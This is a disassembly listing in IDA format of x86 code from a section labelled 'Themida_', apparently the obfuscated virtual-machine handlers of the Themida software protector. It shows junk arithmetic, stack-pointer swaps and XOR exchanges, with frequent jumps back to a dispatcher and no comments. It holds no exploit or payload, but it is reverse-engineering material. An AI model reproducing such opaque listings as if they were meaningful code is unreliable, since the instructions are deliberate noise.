loc_58E45B:				; CODE XREF: sub_584787+4925j
		pop	edx
		jmp	loc_586D5E
; ---------------------------------------------------------------------------


loc_58E461:				; CODE XREF: sub_584787+48A2j
		pop	ecx
		dec	esi
		add	esi, 0F0570DB8h
		add	ebx, esi
		pop	esi
		sub	esp, 4
		mov	[esp+38h+var_38], edx
		push	esp
		jmp	loc_58A3CC
; ---------------------------------------------------------------------------


loc_58E478:				; CODE XREF: sub_584787+6D0Fj
		mov	ebx, ebp
		pop	ebp
		mov	eax, ebx
		pop	ebx
		jmp	loc_585327
; ---------------------------------------------------------------------------


loc_58E483:				; CODE XREF: sub_584787+60A1j
		mov	ch, 0
		jmp	loc_58758F
; ---------------------------------------------------------------------------


loc_58E48A:				; CODE XREF: sub_584787+A0D1j
		add	esp, 4
		sub	edx, 4
		xchg	edx, [esp+54h+var_54]
		mov	esp, [esp+54h+var_54]
		mov	[esp+54h+var_54], eax
		jmp	loc_584473
; ---------------------------------------------------------------------------


loc_58E4A1:				; CODE XREF: sub_584787+66D4j
		sub	ecx, 1DE6579Eh
		pop	ebx
		sub	[edi+24h], ecx
		jmp	loc_58780F
; ---------------------------------------------------------------------------


loc_58E4B0:				; DATA XREF: Themida_:00584348o
		xchg	dx, word ptr [esp+1Ch+var_1C]
		jmp	loc_58F30A
; ---------------------------------------------------------------------------


loc_58E4B9:				; DATA XREF: Themida_:00584390o
		lodsd
		push	ebx
		mov	ebx, 745C4A35h
		sub	eax, ebx
		pop	ebx
		jmp	loc_584742
; ---------------------------------------------------------------------------


loc_58E4C8:				; CODE XREF: sub_584787+693Bj
		push	eax
		mov	ah, 0A3h
		or	bl, ah
		pop	eax
		jmp	loc_5878EC
; ---------------------------------------------------------------------------


loc_58E4D3:				; CODE XREF: sub_584787+219Bj
		pop	ebp
		push	ecx
		push	edi
		mov	edi, 0AAB3602h
		jmp	loc_58708E
; ---------------------------------------------------------------------------


loc_58E4E0:				; CODE XREF: sub_584787+BC39j
		mov	esp, [esp+1Eh+var_20+2]
		jmp	loc_584473
; ---------------------------------------------------------------------------


loc_58E4E8:				; CODE XREF: sub_584787+19C4j
		sub	al, bh
		mov	bx, word ptr [esp+26h+var_26]
		add	esp, 2
		add	al, 71h
		sub	al, bl
		push	ebx
		mov	bl, 71h
		sub	al, bl
		jmp	loc_58A814
; ---------------------------------------------------------------------------


loc_58E502:				; CODE XREF: sub_584787+308Cj
		push	14C6h
		mov	[esp+0], esp
		add	dword ptr [esp+0], 4
		mov	ebp, [esp+0]
		add	esp, 4
		jmp	loc_58D5CA
; ---------------------------------------------------------------------------


loc_58E51F:				; CODE XREF: sub_584787+90Dj
		mov	eax, 30h
		sub	eax, 763D6AEEh
		jmp	loc_58E570
; ---------------------------------------------------------------------------


loc_58E52E:				; CODE XREF: sub_584787+102j
		pop	[esp+20h+var_20]
		add	[esp+1Ch+var_1C], 4
		mov	edi, [esp+1Ch+var_1C]
		push	ecx
		jmp	loc_58B15F
; ---------------------------------------------------------------------------


loc_58E53E:				; CODE XREF: sub_584787+81C3j
		mov	al, 4Fh
		sub	bh, al
		pop	eax
		sub	al, bh
		pop	ebx
		add	al, bl
		push	ecx
		push	eax
		mov	ah, 19h
		mov	cl, ah
		pop	eax
		sub	al, 0B9h
		sub	al, 0C4h
		add	al, cl
		push	dx
		mov	dh, 0C4h
		add	al, dh
		jmp	loc_58E695
; ---------------------------------------------------------------------------


loc_58E560:				; CODE XREF: sub_584787+8494j
		mov	ebx, 453109D1h
		sub	ebx, 62EE184Fh
		jmp	loc_58BE07
; ---------------------------------------------------------------------------


loc_58E570:				; CODE XREF: sub_584787+9DA2j
		add	eax, edx
		push	501h
		mov	[esp+30h+var_30], ebp
		mov	ebp, 52AD71FCh
		xor	ebp, 24901B12h
		add	eax, ebp
		push	[esp+30h+var_30]
		pop	ebp
		add	esp, 4
		push	ebx
		push	1A221792h
		pop	ebx
		xor	ebx, 6C8725DDh
		xor	ebx, 76A5324Fh
		push	ecx
		mov	ecx, 0
		add	ecx, eax
		push	eax
		mov	eax, 0
		sub	eax, 455F2E8Ah
		add	eax, ecx
		jmp	loc_588467
; ---------------------------------------------------------------------------


loc_58E5BE:				; CODE XREF: sub_584787+6E20j
		jmp	loc_584473
; ---------------------------------------------------------------------------


loc_58E5C3:				; CODE XREF: sub_584787+40B5j
		xor	edx, [esp+8+var_8]
		xor	[esp+8+var_8], edx
		xor	edx, [esp+8+var_8]
		pop	esp
		push	edi
		jmp	loc_58C7C9
; ---------------------------------------------------------------------------


loc_58E5D3:				; CODE XREF: sub_584787+2DA0j
		add	esp, 4
		rep movsd
		jmp	loc_58A753
; ---------------------------------------------------------------------------


loc_58E5DD:				; CODE XREF: sub_584787+D3Bj
		pop	esp
		jmp	loc_58F8A0
; ---------------------------------------------------------------------------


loc_58E5E3:				; CODE XREF: sub_584787+1539j
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		add	ebx, 4
		xor	ebx, [esp+2Ch+var_2C]
		xor	[esp+2Ch+var_2C], ebx
		xor	ebx, [esp+2Ch+var_2C]
		pop	esp
		sub	esp, 4
		mov	[esp+2Ch+var_2C], ebx
		mov	ebx, 2
		add	edx, ebx
		pop	ebx
		xor	edx, [esp+0]
		xor	[esp+0], edx
		xor	edx, [esp+0]
		pop	esp
		dec	word ptr [esp+24h+var_26+2]
		pushf
		jmp	loc_584473
; ---------------------------------------------------------------------------


loc_58E621:				; CODE XREF: sub_584787+B3C2j
		add	esi, 8F1DA7A2h
		mov	eax, esi
		mov	esi, [esp+0]
		add	esp, 4
		jmp	loc_58E012
; ---------------------------------------------------------------------------


loc_58E634:				; CODE XREF: sub_59075E-C2D9j
		add	ebp, ebx
		push	eax
		mov	eax, 50E57CC4h
		jmp	loc_590476
; ---------------------------------------------------------------------------


loc_58E641:				; CODE XREF: sub_584787+A7ACj
		mov	edi, [esp+0]
		add	esp, 4
		pop	edx
		and	edi, 17D31DE2h
		jmp	loc_58ED7D
; ---------------------------------------------------------------------------


loc_58E656:				; CODE XREF: sub_584787+951Cj
		pop	esp
		mov	[esp+4+var_4], esp
		add	[esp+4+var_4], 4
		jmp	loc_58E31A
; ---------------------------------------------------------------------------


loc_58E666:				; CODE XREF: sub_584787+3933j
		xor	ebx, 667699A7h
		jmp	loc_58C38A
; ---------------------------------------------------------------------------


loc_58E671:				; CODE XREF: sub_584787+59BBj
		pop	esp
		push	ecx
		push	ebx
		mov	bh, 9Eh
		jmp	loc_58F06E
; ---------------------------------------------------------------------------


loc_58E67B:				; DATA XREF: Themida_:005841C0o
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcr	word ptr [esp+20h+var_20], cl
		pushf
		jmp	loc_584473
; ---------------------------------------------------------------------------


loc_58E68B:				; CODE XREF: sub_584787+8AF2j
		mov	ebx, 424640DBh
		jmp	loc_589D19
; ---------------------------------------------------------------------------


loc_58E695:				; CODE XREF: sub_584787+9DD4j
		pop	dx
		push	ecx
		mov	cl, 0B9h
		add	al, cl
		jmp	loc_588A3A
; ---------------------------------------------------------------------------


loc_58E6A1:				; CODE XREF: sub_584787+ABC2j
		mov	edx, 10h
		and	ebx, edx
		push	[esp+16h+var_18+2]
		jmp	loc_587BE7
; ---------------------------------------------------------------------------


loc_58E6B0:				; CODE XREF: sub_584787+25EDj
		mov	[esp+0], ebx
		mov	ebx, 0A15CE5h
		jmp	loc_58AE7C
; ---------------------------------------------------------------------------


loc_58E6BD:				; DATA XREF: Themida_:0058435Co
		lodsb
		xor	al, bl
		push	edx
		push	ebx
		push	ecx
		mov	cl, 0F7h
		jmp	loc_58834D
; ---------------------------------------------------------------------------


loc_58E6CA:				; CODE XREF: sub_584787+3100j
		pop	esp
		or	ebp, 29B0F70h
		jmp	loc_589BAD
; ---------------------------------------------------------------------------


loc_58E6D6:				; CODE XREF: sub_584787+2013j
		mov	dh, 0AEh
		sub	cl, dh
		pop	dx
		jmp	loc_5881C9
; ---------------------------------------------------------------------------


loc_58E6E1:				; CODE XREF: sub_584787+B522j
		add	bl, dl
		pop	edx
		dec	bl
		and	bl, 0ADh
		xor	bl, 1Ah
		add	al, 0
		jmp	loc_58D76A
; ---------------------------------------------------------------------------


loc_58E6F3:				; CODE XREF: sub_584787+7024j
		push	esp
		mov	edi, [esp+1Ch+var_1C]
		jmp	loc_58569F
; ---------------------------------------------------------------------------


loc_58E6FC:				; CODE XREF: sub_584787+29F4j
		add	edx, 4
		push	esi
		mov	esi, 4
		jmp	loc_58FB23
; ---------------------------------------------------------------------------


loc_58E70D:				; CODE XREF: sub_584787+5CFDj
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xor	esi, [esp+1Eh+var_20+2]
		xor	[esp+1Eh+var_20+2], esi
		xor	esi, [esp+1Eh+var_20+2]
		jmp	loc_58DD90
; ---------------------------------------------------------------------------


loc_58E726:				; CODE XREF: sub_584787+4BDBj
		mov	edi, [esp+0]
		add	esp, 4
		add	esp, 4
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_58CCFF
; ---------------------------------------------------------------------------


loc_58E73F:				; CODE XREF: sub_584787+8C76j
		pop	edx
		or	eax, eax
		jz	loc_5882C2
		push	dword ptr [edi+1Ch]
		sub	esp, 4
		mov	[esp+14h+var_14], esi
		mov	esi, 538B706Bh
		xor	[esp+14h+var_10], esi
		pop	esi
		pop	ecx
		jmp	loc_58F6DA
; ---------------------------------------------------------------------------


loc_58E761:				; CODE XREF: sub_584787+6743j
		push	ebx
		mov	ebx, 25FE00D1h
		and	ecx, ebx
		pop	ebx
		sub	ecx, 8DF8B1CCh
		add	eax, ecx
		pop	ecx
		pop	ebp
		xor	ebx, eax
		movzx	ax, byte ptr [eax]
		push	2B09h
		jmp	loc_58FCDF
; ---------------------------------------------------------------------------


loc_58E784:				; CODE XREF: sub_584787+B747j
		add	edi, ecx
		mov	ecx, [esp+2Ah+var_2C+2]
		add	esp, 4
		push	esi
		push	edx
		mov	edx, 5EC62261h
		jmp	loc_58B04A
; ---------------------------------------------------------------------------


loc_58E798:				; CODE XREF: sub_584787+670Dj
		mov	[esp-0Ch+arg_8], ebx
		push	6869h
		jmp	loc_58E99D
; ---------------------------------------------------------------------------


loc_58E7A5:				; DATA XREF: Themida_:005842C0o
		mov	ax, word ptr [esp-8+arg_4]
		jmp	loc_5863DD
; ---------------------------------------------------------------------------


loc_58E7AE:				; CODE XREF: sub_584787+B926j
		jmp	loc_584473
; ---------------------------------------------------------------------------


loc_58E7B3:				; DATA XREF: Themida_:00584274o
		sub	esp, 4
		push	esp
		jmp	loc_5902CB
; ---------------------------------------------------------------------------


loc_58E7BF:				; CODE XREF: sub_584787+718Bj
		push	2662h
		mov	[esp+0], ecx
		jmp	loc_587D25
; ---------------------------------------------------------------------------


loc_58E7CC:				; CODE XREF: sub_584787+50A3j
		sub	esi, 6BCFF26Ch
		sub	ebx, esi
		pop	esi
		jmp	loc_58CA56
; ---------------------------------------------------------------------------


loc_58E7DA:				; CODE XREF: sub_584787+4017j
		jmp	loc_584473
; ---------------------------------------------------------------------------


loc_58E7DF:				; CODE XREF: sub_584787+7D5Bj
		add	esi, 124242D6h
		sub	esi, edi
		push	ebp
		mov	ebp, 1C6069C3h
		sub	ebp, 6DAA2AE9h
		shl	ebp, 5
		and	ebp, 20746534h
		xor	ebp, 120603D6h
		sub	esi, ebp
		jmp	loc_58CB8F
; ---------------------------------------------------------------------------


loc_58E809:				; CODE XREF: sub_584787+22B9j
		xor	ecx, [esp+2Ah+var_2C+2]
		xor	[esp+2Ah+var_2C+2], ecx
		xor	ecx, [esp+2Ah+var_2C+2]
		jmp	loc_58AD0B
; ---------------------------------------------------------------------------


loc_58E817:				; CODE XREF: sub_584787+7575j
		push	edx
		jmp	loc_585CFE
; ---------------------------------------------------------------------------


loc_58E81D:				; CODE XREF: sub_584787+42F2j
		push	[esp+4Ch+var_4E+2]
		jmp	loc_584BD4
; ---------------------------------------------------------------------------


loc_58E825:				; CODE XREF: sub_584787+5E1Bj
		not	edi
		neg	edi
		sub	edi, 99AB0BEDh
		sub	ecx, 507708DAh
		add	ecx, edi
		add	ecx, 507708DAh
		jmp	loc_589BC3
; ---------------------------------------------------------------------------


loc_58E842:				; CODE XREF: sub_584787+B5Cj
		push	ax
		mov	ax, 2A49h
		jmp	loc_58F551
; ---------------------------------------------------------------------------


loc_58E84D:				; CODE XREF: sub_584787+AACDj
		mov	ah, ch
		mov	dl, ah
		pop	eax
		jmp	loc_584A45
; ---------------------------------------------------------------------------


loc_58E857:				; CODE XREF: sub_584787+4A1Dj
		pop	eax
		jmp	loc_58E48A
; ---------------------------------------------------------------------------


loc_58E85D:				; CODE XREF: sub_584787+501Dj
		dec	bh
		or	bh, 0D3h
		add	bh, 3Eh
		add	bh, 87h
		xor	al, bh
		pop	ebx
		jmp	loc_58C02A
; ---------------------------------------------------------------------------


loc_58E870:				; CODE XREF: sub_584787+6E84j
		pop	esp
		mov	[esp+8+var_8], edx
		mov	edx, esp
		jmp	loc_58EA95
; ---------------------------------------------------------------------------


loc_58E87B:				; CODE XREF: sub_584787+BC51j
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+8+var_8]
		pop	esp
		xor	ecx, [esp+4+var_4]
		xor	[esp+4+var_4], ecx
		xor	ecx, [esp+4+var_4]
		mov	esp, [esp+4+var_4]
		mov	ax, word ptr [esp+4+var_4]
		jmp	loc_5884F6
; ---------------------------------------------------------------------------


loc_58E89E:				; CODE XREF: sub_584787+5E80j
		add	ebx, 10012FBEh
		sub	ebx, 20B82844h
		pop	eax
		xor	ecx, ebx
		pop	ebx
		shr	ecx, 6
		shl	ecx, 7
		xor	ecx, 59B27684h
		mov	edi, ecx
		pop	ecx
		and	ecx, edi
		push	[esp-18h+arg_12+2]
		pop	edi
		jmp	loc_58D082
; ---------------------------------------------------------------------------


loc_58E8C8:				; CODE XREF: sub_584787+74E7j
		mov	esp, [esp+6+var_8+2]
		shl	[esp+6+var_8+2], cl
		pushf
		jmp	loc_584473
; ---------------------------------------------------------------------------


loc_58E8D4:				; CODE XREF: sub_584787+9C3Ej
		push	dword ptr [edi+24h]
		push	ebx
		mov	ebx, esp
		jmp	loc_58BFF7
; ---------------------------------------------------------------------------


loc_58E8DF:				; CODE XREF: sub_584787+946Aj
		add	ebx, edx
		push	edx
		mov	edx, 6DD47457h
		sub	ebx, 3E667197h
		sub	ebx, edx
		add	ebx, 3E667197h
		jmp	loc_58FE7F
; ---------------------------------------------------------------------------


loc_58E8FA:				; CODE XREF: sub_584787+8DB3j
		and	dl, al
		pop	eax
		dec	dl
		sub	dl, 0E8h
		xor	al, dl
		mov	edx, [esp+2Ah+var_2C+2]
		push	edi
		mov	edi, esp
		jmp	loc_5866C7
; ---------------------------------------------------------------------------


loc_58E90F:				; CODE XREF: sub_584787+5D66j
		and	al, 0CAh
		xor	al, 0
		mov	dh, al
		push	dword ptr [esp+0]
		pop	eax
		jmp	loc_585BD1
; ---------------------------------------------------------------------------


loc_58E91E:				; CODE XREF: sub_584787+6563j
		mov	eax, [esp+6+var_8+2]
		sub	esp, 4
		mov	[esp+0Ah+var_C+2], eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+0Ah+var_C+2]
		pop	esp
		jmp	loc_58F98E
; ---------------------------------------------------------------------------


loc_58E93D:				; DATA XREF: Themida_:005843F8o
		mov	ax, word ptr [esp+6+var_8+2]
		push	45Fh
		jmp	loc_58682B
; ---------------------------------------------------------------------------


loc_58E94B:				; CODE XREF: sub_584787+1224j
		push	[esp-14h+arg_E+2]
		mov	ecx, [esp+0]
		add	esp, 4
		jmp	loc_58F284
; ---------------------------------------------------------------------------


loc_58E95C:				; CODE XREF: sub_584787+87D4j
		push	ecx
		mov	ecx, 4
		jmp	loc_584655
; ---------------------------------------------------------------------------


loc_58E967:				; CODE XREF: sub_584787+5C61j
		sub	esi, 0D030EF9h
		dec	esi
		add	esi, 0FD9A112Dh
		mov	ecx, esi
		mov	esi, [esp+0Ch+var_C]
		jmp	loc_58FA2C
; ---------------------------------------------------------------------------


loc_58E97E:				; CODE XREF: sub_584787+7D51j
		push	esi
		jmp	loc_588BD5
; ---------------------------------------------------------------------------


loc_58E984:				; CODE XREF: sub_584787+309Cj
		push	ecx
		pop	esi
		jmp	loc_58AB24
; ---------------------------------------------------------------------------


loc_58E98B:				; CODE XREF: sub_584787+8911j
		add	esp, 4
		push	ebx
		mov	ebx, 7CD75390h
		dec	ebx
		jmp	loc_585624
; ---------------------------------------------------------------------------


loc_58E99D:				; CODE XREF: sub_584787+A019j
		mov	[esp-8+arg_4], ebx
		mov	ebx, 39E93A00h
		sub	[esp-8+arg_8], 63E86009h
		add	[esp-8+arg_8], ebx
		add	[esp-8+arg_8], 63E86009h
		pop	ebx
		pop	edi
		push	ecx
		jmp	loc_588849
; ---------------------------------------------------------------------------


loc_58E9C1:				; CODE XREF: sub_584787+792Bj
		sub	al, cl
		jmp	loc_5906DD
; ---------------------------------------------------------------------------


loc_58E9C8:				; DATA XREF: Themida_:005843C8o
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcr	byte ptr [esp-18h+arg_12+2], cl
		pushf
		jmp	loc_584473
; ---------------------------------------------------------------------------


loc_58E9D7:				; CODE XREF: sub_584787+6D02j
		pop	ecx
		pop	eax
		jmp	loc_58D248
; ---------------------------------------------------------------------------


loc_58E9DE:				; CODE XREF: sub_584787+77A5j
		sub	ecx, edi
		pop	edi
		xchg	ecx, [esp+2Ah+var_2C+2]
		pop	esp
		mov	[esp+26h+var_26], ecx
		push	esp
		pop	ecx
		jmp	loc_58CB7D
; ---------------------------------------------------------------------------


loc_58E9EF:				; CODE XREF: sub_584787+954Fj
		mov	ebx, [esp+20h+var_20]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_58FC10
; ---------------------------------------------------------------------------


loc_58EA00:				; CODE XREF: sub_584787+8EFAj
		push	1316h
		mov	[esp+8+var_8], ebp
		push	420790Eh
		pop	ebp
		jmp	loc_586198
; ---------------------------------------------------------------------------


loc_58EA13:				; CODE XREF: sub_584787+90A0j
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+0]
		jmp	loc_587A3E
; ---------------------------------------------------------------------------


loc_58EA24:				; CODE XREF: sub_584787+3EF5j
		add	esp, 4
		jmp	loc_588528
; ---------------------------------------------------------------------------


loc_58EA2F:				; CODE XREF: sub_584787+5FC7j
		push	edx
		mov	dh, al
		mov	cl, dh
		pop	edx
		pop	eax
		sub	bl, cl
		mov	ecx, [esp-4+arg_0]
		add	esp, 4
		add	bl, al
		add	bl, 0FEh
		push	edx
		mov	dl, 1Ch
		shr	dl, 5
		sub	dl, 6Eh
		or	dl, 55h
		xor	dl, 33h
		xor	dl, 0EDh
		jmp	loc_588841
; ---------------------------------------------------------------------------


loc_58EA5A:				; CODE XREF: sub_584787+3CE8j
		pop	ecx
		pop	ebx
		mov	eax, [esp+0]
		add	esp, 4
		jmp	loc_589533
; ---------------------------------------------------------------------------


loc_58EA67:				; CODE XREF: sub_584787+C8Cj
		mov	ecx, [esp+10h+var_10]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+14h+var_14]
		jmp	loc_58D8C5
; ---------------------------------------------------------------------------


loc_58EA7E:				; CODE XREF: sub_584787+112Aj
		or	ecx, 79505E5Bh
		xor	ecx, 3538154Ah
		jmp	loc_58A4CD
; ---------------------------------------------------------------------------


loc_58EA8F:				; CODE XREF: sub_584787+7CB5j
		push	ebp
		jmp	loc_5862F1
; ---------------------------------------------------------------------------


loc_58EA95:				; CODE XREF: sub_584787+A0EFj
		push	eax
		mov	eax, 12E67BF4h
		shr	eax, 5
		shr	eax, 7
		jmp	loc_58B8EE
; ---------------------------------------------------------------------------


loc_58EAA6:				; CODE XREF: sub_584787+A8FCj
		push	eax
		mov	eax, 67D439EBh
		neg	eax
		and	eax, 2136262Eh
		xor	eax, 0B8B3FD03h
		xor	ebx, eax
		pop	eax
		jmp	loc_588C5B
; ---------------------------------------------------------------------------


loc_58EAC0:				; CODE XREF: sub_584787+840Aj
		add	ecx, esi
		push	[esp+8+var_8]
		mov	esi, [esp+0Ch+var_C]
		add	esp, 4
		push	eax
		jmp	loc_5903D6
; ---------------------------------------------------------------------------


loc_58EAD4:				; CODE XREF: sub_584787+4813j
		shr	edx, 5
		add	edx, 4F52C4BBh
		sub	eax, edx
		mov	edx, [esp+52h+var_54+2]
		jmp	loc_58ABEC
; ---------------------------------------------------------------------------


loc_58EAE7:				; CODE XREF: sub_584787+DE3j
		dec	ebx
		neg	ebx
		neg	ebx
		add	ebx, 3B86D713h
		add	edi, ebx
		pop	ebx
		add	edi, eax
		push	ecx
		mov	ecx, 46735C52h
		jmp	loc_58F3AA
; ---------------------------------------------------------------------------


loc_58EB02:				; CODE XREF: sub_584787+60B5j
		xchg	ebp, [esp+5Ch+var_5C]
		pop	esp
		and	[edi+1Ch], eax
		mov	eax, [esp+58h+var_58]
		jmp	loc_589897
; ---------------------------------------------------------------------------


loc_58EB11:				; CODE XREF: sub_584787+4CBFj
					; sub_584787+B961j
		push	1B14h
		jmp	loc_5886A0
; ---------------------------------------------------------------------------


loc_58EB1B:				; CODE XREF: sub_584787+83E2j
		mov	edi, esi
		pop	esi
		add	ebx, edi
		jmp	loc_58A5D1
; ---------------------------------------------------------------------------


loc_58EB25:				; CODE XREF: sub_584787+3FEFj
		add	ecx, 10A7F746h
		xor	ecx, ebx
		jmp	loc_587054
; ---------------------------------------------------------------------------


loc_58EB32:				; CODE XREF: sub_584787+7A0Ej
		push	esp
		mov	edi, [esp+32h+var_34+2]
		add	esp, 4
		jmp	loc_58F0AC
; ---------------------------------------------------------------------------


loc_58EB41:				; CODE XREF: sub_584787+68F9j
		mov	esp, [esp-4+arg_0]
		jmp	loc_584473
; ---------------------------------------------------------------------------


loc_58EB49:				; CODE XREF: sub_584787+88A1j
		neg	ecx
		jmp	loc_58C9B2
; ---------------------------------------------------------------------------


loc_58EB50:				; CODE XREF: sub_584787+6CF1j
		pop	esp
		mov	[esp+16h+var_18+2], edi
		mov	edi, 5D35543Bh
		sub	edi, 0F72097BBh
		add	eax, edi
		mov	edi, [esp+16h+var_18+2]
		add	esp, 4
		sub	esp, 4
		mov	[esp+16h+var_18+2], ebx
		push	edi
		jmp	loc_588185
; ---------------------------------------------------------------------------


loc_58EB73:				; CODE XREF: sub_584787+624Fj
		mov	[esp+1Ch+var_1C], esp
		add	[esp+1Ch+var_1C], 4
		pop	ecx
		push	ebx
		mov	ebx, 30F64AEDh
		add	ebx, 17F82F44h
		push	ebx
		jmp	loc_58FB3E
; ---------------------------------------------------------------------------


loc_58EB90:				; CODE XREF: sub_584787+1445j
		xor	edx, 0B0D2DDE0h
		sub	eax, edx
		pop	edx
		mov	ebp, [esp+12h+var_14+2]
		add	esp, 4
		sub	eax, 3B8D0822h
		sub	eax, ebx
		add	eax, 3B8D0822h
		add	eax, 33E36CC7h
		mov	ebx, [esp+0Eh+var_10+2]
		add	esp, 4
		push	ebp
		mov	ebp, 522849A7h
		add	ebp, 0F2102EF3h
		sub	ebx, ebp
		pop	ebp
		sub	ebx, eax
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp+0Eh+var_10+2]
		mov	esp, [esp+0Eh+var_10+2]
		jmp	loc_5850AB
; ---------------------------------------------------------------------------


loc_58EBE2:				; CODE XREF: sub_584787+226Fj
		add	esp, 4
		jmp	loc_58F8E5
; ---------------------------------------------------------------------------


loc_58EBED:				; CODE XREF: sub_584787+89FEj
		add	esp, 4
		push	edi
		mov	edi, esp
		add	edi, 4
		push	eax
		mov	eax, 4
		add	edi, eax
		pop	eax
		jmp	loc_584F11
; ---------------------------------------------------------------------------
word_58EC0A	dw 8B66h		; DATA XREF: Themida_:00584360o
		dd 8953240Ch, 0B47BE9E3h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58EC16:				; CODE XREF: sub_584787-10Fj
		push	24BCh
		mov	[esp-0Ch+arg_8], ebp
		push	67D9h
		push	esp
		pop	[esp-4+arg_0]
		jmp	loc_586EE6
; ---------------------------------------------------------------------------


loc_58EC2C:				; CODE XREF: sub_584787+B159j
		push	ecx
		jmp	loc_58BC4D
; ---------------------------------------------------------------------------


loc_58EC32:				; CODE XREF: sub_584787+7E3Fj
		push	ebx
		jmp	loc_58E303
; ---------------------------------------------------------------------------


loc_58EC38:				; CODE XREF: sub_584787+6923j
		pop	esi
		add	ebx, ebp
		push	esi
		mov	esi, 10C115Bh
		and	esi, 54D77454h
		xor	esi, 5CE827BBh
		or	esi, 75087C10h
		sub	esi, 16910397h
		jmp	loc_58ED02
; ---------------------------------------------------------------------------


loc_58EC5E:				; CODE XREF: sub_5901FD+3Fj
		mov	edi, 627E519Bh
		mov	esi, edi
		pop	edi
		inc	esi
		jmp	loc_58DC71
; ---------------------------------------------------------------------------


loc_58EC6C:				; CODE XREF: sub_584787+393Bj
		dec	ebp
		sub	ebp, 0AC97223Bh
		jmp	loc_58ECB2
; ---------------------------------------------------------------------------


loc_58EC78:				; CODE XREF: sub_584787+AAC4j
		add	edi, 5887317Ah
		push	esi
		mov	esi, 40FB50E1h
		push	ebx
		jmp	loc_58DE62
; ---------------------------------------------------------------------------


loc_58EC8A:				; CODE XREF: sub_584787+7BEEj
		dec	esi
		or	esi, 189904CFh
		dec	esi
		and	esi, 3A4F6005h
		sub	esi, 3A4D6000h
		mov	ebp, esi
		jmp	loc_586C33
; ---------------------------------------------------------------------------


loc_58ECA5:				; CODE XREF: sub_584787+1CFAj
		add	[esp+1Ch+var_18], 3CEB3783h
		jmp	loc_588DEF
; ---------------------------------------------------------------------------


loc_58ECB2:				; CODE XREF: sub_584787+A4ECj
		add	edi, ebp
		pop	ebp
		add	edi, 4
		xor	edi, [esp+18h+var_18]
		xor	[esp+18h+var_18], edi
		xor	edi, [esp+18h+var_18]
		pop	esp
		sub	eax, 0B766D07h
		push	ecx
		push	edi
		jmp	loc_58773C
; ---------------------------------------------------------------------------


loc_58ECD1:				; CODE XREF: sub_584787+6C36j
		mov	[esp+0], eax
		push	ebx
		mov	ebx, 4F960C6Bh
		mov	eax, ebx
		pop	ebx
		shr	eax, 4
		shr	eax, 3
		push	ebp
		mov	ebp, 4C2249DAh
		xor	eax, ebp
		mov	ebp, [esp-0Ch+arg_8]
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp-8+arg_4]
		jmp	loc_58CFBB
; ---------------------------------------------------------------------------


loc_58ED02:				; CODE XREF: sub_584787+A4D2j
		sub	ebx, esi
		pop	esi
		pop	ebp
		jmp	loc_58CFB2
; ---------------------------------------------------------------------------


loc_58ED0B:				; CODE XREF: sub_584787+43F3j
		add	edx, 4
		jmp	loc_58A105
; ---------------------------------------------------------------------------


loc_58ED16:				; CODE XREF: sub_584787+A8EBj
		pop	ebx
		add	bl, 4Ah
		sub	bl, ch
		sub	bl, 4Ah
		pop	ecx
		jmp	loc_58C0DB
; ---------------------------------------------------------------------------


loc_58ED25:				; CODE XREF: sub_584787+1AB1j
		mov	edi, 5B7E3363h
		push	ebp
		mov	ebp, 717A1441h
		jmp	loc_5853D4
; ---------------------------------------------------------------------------


loc_58ED35:				; CODE XREF: sub_584787+6FE6j
		push	esi
		mov	esi, 4
		add	ebx, esi
		jmp	loc_58DB4D
; ---------------------------------------------------------------------------


loc_58ED42:				; CODE XREF: sub_584787+A71j
		xor	ebp, esi
		pop	esi
		mov	ecx, 1A6319DEh
		sub	ecx, 988138Ch
		jmp	loc_5864C5
; ---------------------------------------------------------------------------


loc_58ED55:				; CODE XREF: sub_584787+857Dj
		xchg	eax, [esp+0Ch+var_C]
		pop	esp
		mov	[esp+8+var_8], eax
		jmp	loc_5863EB
; ---------------------------------------------------------------------------


loc_58ED61:				; CODE XREF: sub_584787+2F16j
		xchg	eax, [esp+0]
		pop	ebx
		and	ebx, 9C24174h
		jmp	loc_5849C9
; ---------------------------------------------------------------------------


loc_58ED70:				; CODE XREF: sub_584787+7CA1j
		push	4A64h
		mov	[esp+0Eh+var_10+2], ecx
		jmp	loc_5857CE
; ---------------------------------------------------------------------------


loc_58ED7D:				; CODE XREF: sub_584787+9ECAj
		push	ebx
		jmp	loc_58D8ED
; ---------------------------------------------------------------------------


loc_58ED83:				; CODE XREF: sub_584787+3A7Aj
		add	ebp, eax
		jmp	loc_588A48
; ---------------------------------------------------------------------------


loc_58ED8A:				; CODE XREF: sub_584787+386Fj
		add	edx, 1FF66179h
		sub	edx, ecx
		sub	edx, 1FF66179h
		xchg	edx, ecx
		pop	edx
		sub	esp, 4
		mov	[esp+18h+var_18], ebp
		mov	ebp, 4F6402D2h
		push	45C2h
		mov	[esp+1Ch+var_1C], esi
		push	1BC003CFh
		pop	esi
		and	ebp, esi
		pop	esi
		push	esi
		mov	esi, 3D50594Ah
		sub	esi, 4E895818h
		neg	esi
		and	esi, 1B305CE2h
		xor	esi, 5E580F2h
		sub	ebp, esi
		pop	esi
		jmp	loc_58CF4D
; ---------------------------------------------------------------------------


loc_58EDDC:				; DATA XREF: Themida_:0058436Co
		push	small word ptr [edx]
		jmp	loc_584473
; ---------------------------------------------------------------------------


loc_58EDE4:				; CODE XREF: sub_584787+1B65j
		neg	eax
		push	eax
		not	[esp+56h+var_58+2]
		jmp	loc_5891A9
; ---------------------------------------------------------------------------


loc_58EDEF:				; CODE XREF: sub_584787+94C0j
		xchg	eax, [esp-18h+arg_12+2]
		pop	esp
		push	edx
		mov	edx, 435D319Eh
		xor	edx, 56353A07h
		sub	eax, edx
		pop	edx
		push	13D6h
